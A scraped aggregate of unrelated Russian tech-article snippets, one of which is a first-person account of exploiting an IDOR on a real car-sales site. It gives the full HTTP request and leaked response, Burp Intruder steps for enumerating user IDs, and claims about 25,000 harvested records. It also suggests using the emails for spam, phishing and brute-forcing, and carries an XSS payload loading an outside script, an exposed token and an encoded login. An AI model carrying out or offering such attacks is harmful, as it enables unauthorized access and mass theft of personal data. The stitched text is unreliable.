image

Небольшой интернет-провайдер “Сотрудник” в таком же небольшом городке Бийске, что находится в Алтайском крае, 17 января подвергся массированной DDOS-атаке.

Буквально пару лет назад было немало людей, считавших Bitcoin либо игрушкой для гиков, либо в лучшем случае инструментом для покупки наркотиков, а кое-где его даже хотели запретить. Тем не менее сегодня со всех сторон слышно, что эта технология совсем скоро изменит мир, блокчейн стартапы появляются как грибы после дождя, а криптовалюты, по-моему, уже никто не считает.


Удивительно, но при этом литературы, описывающей принципы работы Bitcoin, до сих пор очень мало, а та что есть, как правило, не несет никакой ценной информации. Поэтому я написал небольшую книгу для тех, кто хочет понять, как действительно работает Bitcoin. В ней я постарался коснуться всех основных моментов и по возможности объяснил их максимально доступным языком. Хотя книга рассчитана все-таки на людей, близких к IT сфере, благо примеров кода, специфической терминологии и несмешных шуток хватает.


mmm_memes

(изменено ) | 319852@habrahabr

H Java примеры из книг и документации в черновиках recovery mode tutorial

Набор примеров составленных из книг и документации. PDF + Исходники
Java books and internet samples by padaboo I.B Aleksandrov

DPI-системы, которые стали результатом слияния нескольких систем фильтрации пакетов, значительно упростили процессы управления сетями и сайтами, а также повысили их защищенность от атак. Это позволило расширить сферу применимости технологий глубокого анализа трафика.

Аналитики считают, что к 2018 году рынок DPI достигнет планки в 3,81 млрд долларов. При этом стоит учитывать, что в 2013 году он оценивался всего в 742 млн долларов. Не в последнюю очередь такой рост обусловлен тем, что DPI-решения позволяют провайдерам получить определенную экономическую выгоду. О том, какие функции глубокого анализа трафика экономят средства, и пойдет речь в нашем сегодняшнем материале.

(изменено ) | 319692@habrahabr

H Автоматические объекты компилятора в черновиках

Статья основана на версии Kotlin «1.1-М04».


Эта статья посвящена описанию механизма генерации автоматических классов компилятором Kotlin для анонимного блока пользовательского кода. Описано в каких случаях создаются автоматические классы, где они располагаются, как реализованы и используются.


В Java существует только один способ создания элемента кода – это лямбда-выражение, которое может реализовывать только функциональный интерфейс (подробнее см. в документации на Java). В Kotlin существует несколько различных способов описать объект, содержащий пользовательский код.


Всем хорошо известна особенность Kotlin очень легко реализовывать код, позволяющий писать такие конструкции:


fun Action( cb:()->Unit ) { cb() }
fun Test() {
  Action{
    // Этот блок кода будет выполнен в функции
  }
}

Как это реализовано и чем чревато использование такого кода в программе?


ПС: Первоначальный вариант статьи содержал логическую ошибку и неправильные выводы. Приношу всем свои извинения за этот факт. Эта статья переработана и дополнена дополнительными данными.


(изменено ) | 284676@geektimes

GT Новый кодек Codec2 700C сжимает речь до 700 бит/c в черновиках


В программе для цифровой радиопередачи FreeDV скоро можно будет проверить новый кодек в работе

Автор свободного голосового кодека Codec2, предназначенного для сверхплотного кодирования речи на голосовых каналах, выпустил новую версию Codec2 700C, в которой ему удалось закодировать различимую человеческую речь всего в 700 бит/с. Это значит, что трёхсекундная голосовая передача с различимой речью займёт всего лишь 260 байт.

Разумеется, такие технологии совершенно неуместны для сжатия музыки или другого мультимедийного контента, но это незаменимая вещь для коммуникации в условиях сильного ограничения на пропускную способность каналов связи. Например, при цифровой передаче звука с Марса.
Впервые предложен вариант реализации гибридного запоминающего устройства “бит + кубит” на основе, пары вертикальных блоховских линй, образуемых в доменных границах магнитных пленок

Стремительное развитие современных технологий выдвигает ряд серьезных требований к служебным характеристикам устройств накопления и хранения информации. Запоминающие устройства (ЗУ) должны обладать радиационной и механической устойчивостью, энергонезависимостью и отличаться высокой плотностью регистрации больших массивов данных.

image

Рис.1 Пример ЗУ

Указанным качествам в значительной степени соответствуют уже существующие твердотельные ЗУ, в которых элементарными битами информации являются заданные стабильные состояния физических носителей памяти. Например, гистерезисные направления векторов намагниченности. При этом N бит такого ЗУ могут одновременно представлять N бинарных значений. В то же время, проводятся интенсивные исследования с целью создания ЗУ, запись информации в которых, осуществляется с помощью суперпозиции двухуровневых квантовых состояний (кубитов). Практическое внедрение такого подхода позволит качественно увеличить объем записи данных. Так N кубитов смогут одновременно представлять уже 2^N бинарных значений, что заметно превосходит потенциал обычного ЗУ.


В прошлом году на Хабрахабре публиковалось немало интересных материалов из сферы дата-центров, сферы, которая продолжает развиваться самым активным образом. Не так давно в нашем блоге была опубликована статья о тенденциях 2017 года, которые, по мнению ряда экспертов, станут основными в новом году. Но не стоит забывать и о том, что произошло в 2016 году — ведь ушедший год оставил много всего интересного, с чем нужно будет разбираться в ближайшем будущем.

Собственно, новый материал можно считать продолжением предыдущего, тематика практически идентична. Вот только тенденции, о которых шла речь выше, отличаются. Итак, с чем нас оставил год 2016, что может получить развитие в этом году?
(изменено ) | 284626@geektimes

GT 30-летие учебного пособия ОС Minix в черновиках

14 января в первый день старого Нового Года 2017 была опубликована статья «Персона. Командир Нортон».

1987 Год


После прочтения ее, которое вызвало массу эмоций, в памяти всплыл 1987 год, по своему знаменательный год в моей судьбе. Это год, когда я из рядового младшего научного сотрудника стал начальником одного из ведущих отделов в НИИ, которому было поручено обеспечить максимальную автоматизацию процесса научных исследований.

Привет, Хабр! Хочу поделиться результатами сравнения популярных DB-библиотек, используемых на Android. Необходимость выбрать одну из таких библиотек есть у каждого Android-разработчика, так как писать на чистом Android API крайне неудобно, приходится каждый раз делать слишком много работы — необходимо в каждом новом проекте заново создавать наследников классов ContentProvider и SQLiteOpenHelper, писать SQLite-скрипт для создания базы данных, писать перевод объектов моделей на язык запросов и обратно и много другое. На основе этого появилось несколько библиотек, они имеют разные подходы и особенности, но явного лидера среди них нет. Поэтому я и решил сделать сравнительный анализ данных библиотек.

(изменено ) | 319538@habrahabr

H Про дримбокс, вишлист и отложенное в избранное в черновиках recovery mode

Сделал небольшой опрос на тему названия раздела для сохранения списка будущих покупок. Результаты голосования и обсуждения:

  1. «Избранное» большинство устраивает, отрицательных отзывов не было;
  2. «Вишлист» популярен, что несколько удивило. Видимо, многие привыкли к этому названию на зарубежных сервисах;
  3. у «Отложенного» ассоциации не очень позитивные, как будто отложили на дальнюю полку;
  4. «Дримбокс» название редкое и непонятное, меньше всего голосов.
  5. , а «желания» точно передает содержание и стимулирует их реализовать. В отличие от мечты (dream) — чего-то далекого и не всегда достижимого.

    Сам я сплит-тесты на эту тему не проводил, да и вообще не приходилось его менять на работающих проектах. По первому анализу не вижу какой-то системы на икоммерц-сайтах в определении этого названия.

    Что касается CTA-кнопки, которая отправляет товар в раздел, здесь разнообразие еще больше:
    «В закладки», «Отложить на потом», «В желания», «Запомнить товар» и т.д.
    Также, надо отметить, что в некоторых интернет-магазинах для этого используется функционал «Сравнить».
(изменено ) | 284616@geektimes

GT Что такое огонь, и почему он жжёт в черновиках перевод

image

Недавно я разжигал на пляже огонь и понял, что я ничего не знаю про огонь и про то, как он работает. К примеру – что определяет его цвет? Поэтому я изучил этот вопрос, и вот что я узнал.

Огонь


Огонь – устойчивая цепная реакция, включающая горение, которое представляет собой экзотермическую реакцию, в которой окислитель, обычно кислород, окисляет горючее, обычно углерод, в результате чего возникают продукты сгорания, такие как диоксид углерода, вода, тепло и свет. Типичный пример – горение метана:

CH4 + 2 O2 → CO2 + 2 H2O

Тепло, возникающее при горении, может использоваться для питания самого горения, и в случае, когда этого достаточно и дополнительной энергии для поддержания горения не требуется, возникает огонь. Чтобы остановить огонь, можно удалить горючее (отключить горелку на плите), окислитель (накрыть огонь специальным материалом), тепло (сбрызнуть огонь водой) или саму реакцию.

Горение, в некотором смысле, противоположно фотосинтезу, эндотермической реакции, в которую вступают свет, вода и диоксид углерода, в результате чего возникает углерод.
Всем доброго времени суток. После моего первого поста, я понял что все таки в программировании как и в жизни все делится на несколько сегментов, как то бедные и богатые так и «код в стиле 2000» или современный кодинг. Так вот, сейчас хочу рассказать о том, почему наша система «не современная», не использует многие фичи, которые так популярны в современном мире, и почему этот проект работает.
Дело в том, что рынок разработки очень насыщен программистами, и цена их работы определяется не только его скилами, но и еще системой, с которой он работает. Если вы хотите разработать сайт на битриксе, то наверняка услышите большие суммы, за обыкновенную форму обратной связи или новый чекбокс в админке. Когда человек просит на вордпресс развернуть сайт, то цены уже совсем другие, и они меньше.
Увидел рекламу сайта, который занимается продажей подержанных машин, назовем его example.com, чтобы не портить репутацию ресурса, решил протестировать его на наличие уязвимостей. Обнаружил несколько не критических и одну критическую.

Это iDOR в личном кабинете, в редактировании личных данных. Грубая ошибка, id аккаунта передается в post запросе

POST /api/user/saveUserInfo HTTP/1.1
Host: www.****.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: eyJhbGffOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHBpcmUiOiIyMDE3LTAzLTEyIDE0OjMxOjI1IiwiZW1haWwiOiJxaWVjghpAZ21haWwuY29tIn0.RtQI9h5O16ZS48LuK6rwJXlc1MCNmY8ai5rMywLeEe8
Content-Type: application/json;charset=utf-8
Content-Length: 1590<anchor>habracut</anchor>
Cookie: django_language=ru; utm_source=f; utm_campaign=red_301; utm_medium=offline; _ga=GA1.2.1196308855.1481541724; _edata="eyJ1c2VybmFtZSI6InFpZWNlekBnbWFpbC5jb20iLCJwYXNzd29yZCI6InF3ZXJ0eXoxIn0:1cGPlN:i5Sse_VzW0Jtu3tltK3iHCBLYuI"
Referer: https://yahoo.com/<source lang="actionscript">"><script src=https://securityz.net/xss.js?></script></script>

Connection: close

{"id":59553,"user":{"id":59541,"email":"ww@example.com","is_staff":false,"date_joined":"2016-12-12T12:20:18.444255Z"},"uuid":"9b921350-5dce-4796-bdcc-ad11039a18d8","email":"ww@example.com","state":{"id":59553,"state_data":{"state":"active","state_title":"АÐ∨dm;тиÐ⊃2;ный","state_date":"2016-12-12T12:30:39.513Z","state_val":true,"state_extra":{}},"created_extra":{},"confirmed_extra":{},"active_extra":{},"blocked_extra":{},"deleted_extra":{},"last_modified":"2016-12-12T12:30:39.514128Z","extra":"{}","created":true,"created_date":"2016-12-12T12:20:18.474992Z","confirmed":true,"confirmed_date":"2016-12-12T12:30:39.480891Z","active":true,"active_date":"2016-12-12T12:30:39.513982Z","blocked":false,"blocked_date":null,"deleted":false,"deleted_date":null},"allowed_regions":[],"info":{"request_source_region":null,"request_type":1,"confirmation_code_mail":null,"confirmation_code_sms":null,"request_allowed_regions":null},"images":{},"is_analyst":false,"is_mp_moderator":false,"is_mp_manager":false,"is_mp_dealer_manager":false,"is_mp_supervisor":false,"source_region":8,"source_region_info":{"id":8,"administrative_area":"Khmel'nyts'ka oblast","administrative_area_auto_ria":"ХмельницÐ∨dm;","ru_name":"ХмельницÐ∨dm;ая область","uk_name":"ХмельницьÐ∨dm;а область","slug":"","region":15},"phone":"111","first_name":"ww","last_name":"ww","buyer_type":1,"rating":3,"additional_info":null,"authorized":false,"email_notification":true,"sms_notification":true,"inspect_regions":[],"inspect_code":null,"amount":0,"personal_manager":223,"supervisor":51}


Изменяем «id»:59541, срабатывает защита, 403. Подменяем id":59553, нам выдает email адрес, местоположение и имя пользователя, что на id меньше меня. Но данные юзера не изменяются, а выдаются мне. Если бы изменялись — было бы критичнее, мы бы изменили email адреса на всех аккаунтах и взломали их.

Существуют разные методы обхода iDOR, главный — это:
HTTP Parameter Pollution — это новый вид атак на веб-приложения, основным преимуществом которого является возможность обхода WAF (Web Application Firewall). Концепт HPP был разработан итальянскими исследователями Luca Carettoni и Stefano di Paola и представлен на недавно прошедшей конференции OWASP AppSec EU09 Poland. - https://raz0r.name/articles/http-parameter-pollution/

Когда, например, в get или post запросе есть подобные переменные example.com/edit.php?id=1. Мы можем применить Http Parameter Pollution, чтобы обойти защиту idor example.com/edit.php?id=1&id=2. Внимание! В процессе тестирования часто можно увидеть ошибку 403 и подумать, что, например, статья не отредактирована с  помощью iDOR, но когда мы зайдем в эту статью, то увидим, что она изменилась. НЕ обязательно должен быть ответ 200. Важно понимать, что если ид идет в виде example.com/edit/1, то hpp мы не сможем применить.

Ответ

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 12 Dec 2016 11:44:34 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
Content-Language: ru
Vary: Accept, Cookie, Accept-Language
allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Length: 1568

{"id":59542,"user":{"id":59530,"email":"dimat***@gmail.com","is_staff":false,"date_joined":"2016-12-12T11:32:25.950746Z"},"uuid":"8e8a0ae6-c587-4f44-8e74-e7583f4cdd2e","email":"dimat***@gmail.com","state":{"id":59542,"state_data":{"state":"active","state_title":"Активный","state_date":"2016-12-12T11:34:51.070Z","state_val":true,"state_extra":{}},"created_extra":{},"confirmed_extra":{},"active_extra":{},"blocked_extra":{},"deleted_extra":{},"last_modified":"2016-12-12T11:34:51.070647Z","extra":"{}","created":true,"created_date":"2016-12-12T11:32:25.978469Z","confirmed":true,"confirmed_date":"2016-12-12T11:34:51.024676Z","active":true,"active_date":"2016-12-12T11:34:51.070421Z","blocked":false,"blocked_date":null,"deleted":false,"deleted_date":null},"allowed_regions":[],"info":{"request_source_region":null,"confirmation_code_sms":null,"request_allowed_regions":null,"confirmation_code_mail":null,"request_type":1},"images":{},"is_analyst":false,"is_mp_moderator":false,"is_mp_manager":false,"is_mp_dealer_manager":false,"is_mp_supervisor":false,"source_region":26,"source_region_info":{"id":26,"administrative_area":"Kyivs'ka oblast","administrative_area_auto_ria":"Киев","ru_name":"Киевская область","uk_name":"Київська область","slug":"","region":1},"phone":"**","first_name":"**","last_name":"**??,"buyer_type":1,"rating":3,"additional_info":null,"authorized":false,"email_notification":true,"sms_notification":true,"inspect_regions":[],"inspect_code":null,"amount":0,"personal_manager":223,"supervisor":51}


Отлично, мы нашли iDOR, можно идти сообщать об уязвимости.



Но многие компании не понимают всей опасности, сразу исправляют уязвимость и доказывают, что она не была опасная.

Поэтому эксплуатируем эту iDOR.


Обычно после того, как находят iDOR, подбирают вручную несколько значений идентификатора, потом репортят уязвимость.

Но не пытаются её «раскрутить» ещё больше.

В этой статье я хочу рассказать о том, как с помощью iDOR в личном кабинете можно получить личные данные всех пользователей ресурса, в том числе админов(нигде не заметил, чтобы об этом писали).

Наш ид 59553, округляем, узнаем, что на ресурсе 60 тысяч пользователей.

Теперь нужна тузла, что массово перебирает запросы и отдает ответ — Burp licensed to Lary_Lau Intruder.  Кидаем запрос в интрудер (ctrl+I), выделяем цифры во вкладке Positions, во вкладке Payloads выбираем numbers от 1 до 59552, начинаем атаку.

К сожалению, я перебрал id'ы только до 25 тысяч, остальные не смог, админы удалили мой аккаунт, заблокировали ip адрес и закрыли запрос редактирования личных данных(это радует :) )

kkk

Нажимаем save server responses

hh

, получаем файл из 50 МБ данных.

Если нужно — сортируем данные (сохраняем только email адреса для спам/фишинговой рассылки, брутфорсинга аккаунтов) в excel или в текстовом редакторе.

Но для того, чтобы доказать опасность администрации, 50 МБ ответов должно хватить. Пишем IT компании, которая обслуживает example.com:
qiece:13 декабря 2016, 16:24. Добрый день, Сергей. Вчера обнаружил уязвимость insecure dor в редактировании данных в личном кабинете юзера...

qiece: 13 декабря 2016, 16:46. Вам прислать базу в подтверждение? Когда ждать ответ?
Представитель example.com: 13 декабря 2016, 16:48 нет, базу высылать не нужно.

Представитель example.com: 13 декабря 2016, 17:35 Максим, два момента:
 1)мне нужно данный вопрос проговорить с владельцем ресурса, какую переодичность 2)«тестирования» Вы видите — от случая к случаю или на регулярной основе? 13 декабря 2016, qiece: 13 декабря 2016, 18:44 На регулярной основе


qiece: 14 декабря Добрый вечер, Сергей. Обсудили сотрудничество с владельцем ресурса???



qiece: 15 декабря ???

qiece: 16 декабря 2016, 12:10 Скажите хотя бы, какой ответ владельца. Ему что, все равно на его сайт?

Представитель example.com: 16 декабря 2016, 12:37 Максим, добрый день. Владелец сайта очень заинтересован в безопасной работе сайта. В ближайшее время он примет решение и я его буду знать.




qiece: 20 декабря 2016, 17:51 Добрый вечер. Когда будет ответ? Игнорирование — это не решение проблемы с дырами в безопасности сайта и взломанной базой данных пользователей.


14 декабря уязвимость исправили, убрали из post запроса переменную id и даже спасибо не сказали. Что по базе данных 25 000 пользователей, которая была слита — не сказали, чтобы я её удалил и не предложили NDA, компании все равно.

Я, конечно, через несколько дней безуспешной переписки с компанией, удалил файл с этой базой, ведь мне не нужны неприятности. А какой-то black hat мог бы не удалить базу и продать её в даркнет.
В этой ситуации виновата не компания-разработчик, а владелец, который не думает о безопасности сайта и экономит на этом.


Очень надеюсь, что этот проект вырастет и устранит свои дыры в безопасности.

Всем удачи в поисках уязвимостей.

Подписывайтесь на твиттер

И только что созданную группу vk https://vk.com/qiece, туда буду выкладывать ссылки на новые статьи.

Печаль. Сдох аккумулятор, незаслуженно забытый зимой в гараже. Я его вынул из мотоцикла, то ли сигнализация сожрала всё, то ли не зарядился в прошлые покатушки. Напряжометр показывал 9В, что есть криминал.

Я принёс батарею домой, отогрел, подключил к заряднику. Зарядник через полчаса показал ОК. Врал. Ничего там не ок. Лампочка ближнего света горела примерно 10 минут и потом быстро перешла в состояние «слабо грею воздух». Аккумулятор 6Ач, лампочка 55Вт.

Не покупать же новый аккумулятор? Зима, время есть. Есть ардуина даже и коробка всяких чипсов из Китая. Зря пылятся там что ли?

image

В далёкой советской армии 30 лет назад я проходил курс ухода за аккумуляторами. Основное отличие его от инструкций 21 века было таким: батарея должна проходить серию циклов заряда и разряда. Без этого, сколько её в заряднике не держи, какой бы он ни был умный, она сдохнет.